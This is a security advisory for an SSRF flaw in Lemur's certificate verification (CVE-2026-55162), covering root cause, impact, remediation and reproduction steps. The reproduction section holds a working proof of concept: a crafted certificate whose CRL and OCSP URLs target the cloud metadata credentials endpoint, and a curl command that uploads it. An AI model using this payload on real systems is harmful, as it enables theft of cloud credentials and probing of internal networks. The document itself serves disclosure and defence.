CVE-2026-55162: Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF
Summary When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing.
Published Jun 25, 2026
Affected packages
lemur
- Ecosystem
- PyPI
- Affected
- <= 1.9.1
- Fixed in
- 1.9.2
- Check
pip show lemur
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filterlemur/certificates/verify.py, ocsp_verify:
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source | | POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cachedict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Remediation
Filter the URL before it reaches the network sink. Either:
- Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g.,
LEMUR_TRUSTED_CRL_HOSTSandLEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or - Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Steps to Reproduce
- Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user
eve. - Generate a self-signed certificate whose extensions point at internal services: ``` cat > openssl.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_ca prompt = no
[req_distinguished_name] CN = ssrf-poc.example
[v3_ca] crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/ authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/ EOF
openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \ -days 365 -nodes -config openssl.cnf -extensions v3_ca
3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:sudo tcpdump -nni any host 169.254.169.254
4. As `eve`, upload the malicious certificate:BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g') curl -X POST https://lemur.local/api/1/certificates/upload \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-poc\", \"body\": \"$BODY\", \"chain\": \"\", \"private_key\": \"\", \"owner\": \"[email protected]\" }"
5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.Credited to sour-exploit.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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